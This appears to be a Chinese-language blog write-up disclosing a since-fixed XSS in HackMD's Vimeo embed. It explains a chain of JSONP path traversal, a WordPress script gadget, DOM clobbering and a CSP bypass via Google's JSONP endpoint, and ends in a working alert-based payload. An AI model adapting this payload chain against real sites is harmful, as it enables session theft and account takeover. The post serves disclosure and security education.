在 AIS3 2022 的時候 maple3142 突然就挖到了兩個 XSS,於是就決定跟風來挖一下,結果就順利找到了!值得一提的是這次的 XSS 不同於以往 HackMD 常見的字串拼接型 XSS,整個利用流程算是較為有趣的,所以久違的來發文來記錄個,順便 survey 一下 HackMD 的一些其他問題。
前言之類的
HackMD 允許的語法自由度相當高,允許了不少 HTML tag,也有很多自定義的特殊語法,所以一直是駭客們愛打的目標,CTF 也出現過好幾次 CodiMD 的 0-day 題 XD,像是 Pwn2Win 2021 - HackUs、hxp CTF 2020 - hackme 等等,這樣看起來,我說不定其實應該把這個洞屯起來出在下次 CTF 的。順帶一提,CodiMD 和 hackmd.io 的原始碼(不論前後端)都有蠻大的差異,所以可能會存在一些只能在 CodiMD 或 hackmd.io 執行的語法或 payload;喔對了,還有一個東西叫 HedgeDoc,那又是另外一個故事了。
總之,觀察一下其實會發現除了少數的案例,如 orange 在 2019 找到的一個由於 parse HTML 出錯導致的 XSS 外,其他大多都是肇因於 HackMD 自定義語法導致的問題,如開頭提到的 maple3142 找到的那兩個以及那兩題 CTF 都算是這類型,所以如果要開始挖洞,基本上閱讀那部分的 code 會是一個很好的入口點,而我這次找到的這個也不例外。
嵌入 Vimeo
這次出問題的地方是在嵌入 Vimeo 影片的功能上。
HackMD 有支援嵌入 Vimeo 影片的語法,像 {%vimeo 346762373 %}
就可以嵌入 https://vimeo.com/346762373 的影片,但它是怎麼實作的呢?觀察了一下發現可以大致拆成三步驟:
- 預先把 markdown 中長得像
{%vimeo 346762373 %}
的特殊語法找出來轉換成<span class="vimeo raw" data-videoid="346762373"></span>
這樣的 HTML - 整個頁面會經過一些標準的 sanitize 以避免 XSS
- 最後才真正把剛剛轉換成
span
tag 的那段變成 vimeo 嵌入影片
而實際上 HackMD 大多數的特殊語法都是經過這樣的流程處理的。
從上面的流程應該不難注意到,如果步驟三實作錯誤是最有可能導致 XSS 問題的,而下面是它們當初修正前的程式碼
t.find('span.vimeo.raw').filter(r).removeClass('raw').click((function () {
lt(this, '//player.vimeo.com/video/')
})).each((function (t, n) {
!function (e, t) {
var n = 'jsonp_callback_' + Math.round(1000000000 * Math.random());
window[n] = function (e) {
delete window[n],
document.body.removeChild(r),
t(e)
};
var r = document.createElement('script');
r.src = e + (e.indexOf('?') >= 0 ? '&' : '?') + 'callback=' + n,
document.body.appendChild(r),
r.onerror = function (e) {
console.error(e),
r.remove()
}
}('//vimeo.com/api/v2/video/'.concat(e(n).attr('data-videoid'), '.json'), (function (t) {
var r = t[0].thumbnail_large,
i = '<img src="'.concat(r, '" />');
e(n).prepend(i),
window.viewAjaxCallback && window.viewAjaxCallback()
}))
}))
簡單來說,HackMD 找到 span.vimeo.raw
的元素後會把它的 data-videoid
抓出來後不經過任何檢查,就直接對 //vimeo.com/api/v2/video/<data-videoid>.json?callback=random
進行 JSONP 操作,如果不知道 JSONP 是什麼的話,本質上就是載入一個外部 JavaScript 進來啦。同時我們也可以從這邊知道不一定需要透過 {%vimeo videoid %}
語法才能嵌入 Vimeo 影片,直接寫 HTML 就行了。說起來既然是載入外部 JavaScript,那一旦那個 JavaScript 可以被控制就能輕鬆達成 XSS 了。
首先 JSONP callback 的部分可以很簡單的被控制,只要把 data-videoid
設成 346762373.json?callback=alert#
,載入的 JavaScript 就會變成 //vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random
,#
後面的東西就會被當成 hash 忽略掉了。
其實到目前為止我們已經能跳一個 alert 出來了,但由於 vimeo 後端會檢查 callback 參數用的字元,所以就只是一個 alert 而已,那我們要怎麼把它變成 XSS 呢?
找尋 Gadget
既然當前的 JSONP endpoint 行不通,那就去試試其它地方吧!反正整個 data-videoid
都是可以被我們任意操控的,我們自然可以直接用 ../ 去逛整個 vimeo 網站看有沒有其他實用的 endpoint 或 JavaScript 啦。
於是我直接去 vimeo.com 隨便看一下,很快就發現了他們有 https://vimeo.com/blog 這個部落格,觀察一下還會發現其實是用 WordPress 架的!反正是開源 CMS 嘛,那就直接 clone 整個 WordPress 下來找吧。經過一番搜尋找到了 wp-includes/js/zxcvbn-async.js,程式碼看起來長這樣
(function() {
var async_load = function() {
var first, s;
s = document.createElement('script');
s.src = _zxcvbnSettings.src;
s.type = 'text/javascript';
s.async = true;
first = document.getElementsByTagName('script')[0];
return first.parentNode.insertBefore(s, first);
};
if (window.attachEvent != null) {
window.attachEvent('onload', async_load);
} else {
window.addEventListener('load', async_load, false);
}
}).call(this);
它做的事情很簡單,就是把變數 _zxcvbnSettings.src
當成 src 載入一個新的 JavaScript 而已,所以只要能控制到 _zxcvbnSettings.src
變數,我們就能載入任意的 JavaScript 了!我們如果要把這個 zxcvbn-async.js
載入進來可以這樣寫:
<span class="vimeo raw" data-videoid="../../../blog/wp-includes/js/zxcvbn-async.js#"></span>
如此一來,HackMD 就會去載入 //vimeo.com/api/v2/video/../../../blog/wp-includes/js/zxcvbn-async.js#.json?callback=random
這樣路徑的 js 了;至於要控制 _zxcvbnSettings.src
變數的方法其實也不難,利用 DOM clobbering 這個技巧就能做到了,只要插入一個 id="_zxcvbnSettings"
的 img tag,並設定一下 src 就能控到 _zxcvbnSettings.src
的值了,大概像這樣:
<img src="https://host/xss.js" id="_zxcvbnSettings">
利用上確實算簡單,但能在現實世界中發現 DOM clobbering 的利用點也是蠻難得的
Bypassing CSP
雖然我們能任意載入 JavaScript 了,但依然受到 CSP 的限制不能直接載入隨便一個 hots 的 JavaScript 進來,而他們目前的 CSP 是這樣的:
script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://static.hotjar.com https://script.hotjar.com https://www.googletagmanager.com https://cdn.ravenjs.com vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests
然而眾所皆知的 HackMD 的 CSP 相當好繞 XD,裡面允許了不少 host 可以用來被繞過的,例如它允許了 www.google.com
,上面有一個使用者幾乎可以完全控制的 JSONP endpoint,因此其中一個最簡單的 payload 就是 https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//。
但都寫到這邊了,還是來 survey 一下其他還有哪些可以用來進行繞過的 host 吧,我們就從 CSP Evaluator 有跳警告的來看
vimeo.com
- 應該沒有,其中也包含我們一開始繞不過的地方 QQ
https://www.google.com
https://*.disqus.com
https://www.google-analytics.com
https://www.googletagmanager.com
- 好像沒有?如果有人找到可以告訴我一下 ><
'self'
- 好像沒人公開提過,由於 HackMD 每個筆記後面都可以加
/download
來下載原始 markdown 下來,同時因為沒有指定 nosniff,因此可以直接嵌入其他筆記的 markdown,如https://hackmd.io/WSf1WCGySM-zBbNT2xKD7w/download
- 好像沒人公開提過,由於 HackMD 每個筆記後面都可以加
最終 Paylaod
<!-- DOM clobbering + CSP Byapss -->
<img src="https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//" id="_zxcvbnSettings">
<!-- load gadget -->
<span class="vimeo raw" data-videoid="../../../blog/wp-includes/js/zxcvbn-async.js#"></span>
最後順便來一個酷酷的跳 alert 畫面
後記
話說挖到最後才發現開源的 CodiMD 原本就有那段程式碼(而且到現在似乎都還沒修 🤔),根本不用去和那坨被壓縮過的 JavaScript 奮鬥 XD。不過再認真翻了一下,會發現這個有問題的寫法自古以來就存在了——所以我真的像標題說的一樣,挖到了一個自古以來就存在的 HackMD XSS 嗎?別忘了我們 exploit 成功要搭配 vimeo.com/blog,所以就去 web.archive.org 二分搜一下,會發現其實到 2019/5 Vimeo 才採用 WordPress 當他們的 blog 系統。
對,所以標題騙你。
但搞不好以前也有神奇 gadget 可以用,所以我說不定沒騙你(?)
對了,從年份看起來,本篇開頭提到的那兩題 CTF 分別是在 2020 和 2021 出的,所以應該都可以用我的這個打法弄出一個 unintended solution 呢
Timeline
- 2022/8/2 | 回報漏洞
- 2022/8/5 | 回覆 & 送小禮物 🎁
- 2022/8/9 | 發布修復版本(Changelog,雖然上面寫 8/18 🤔)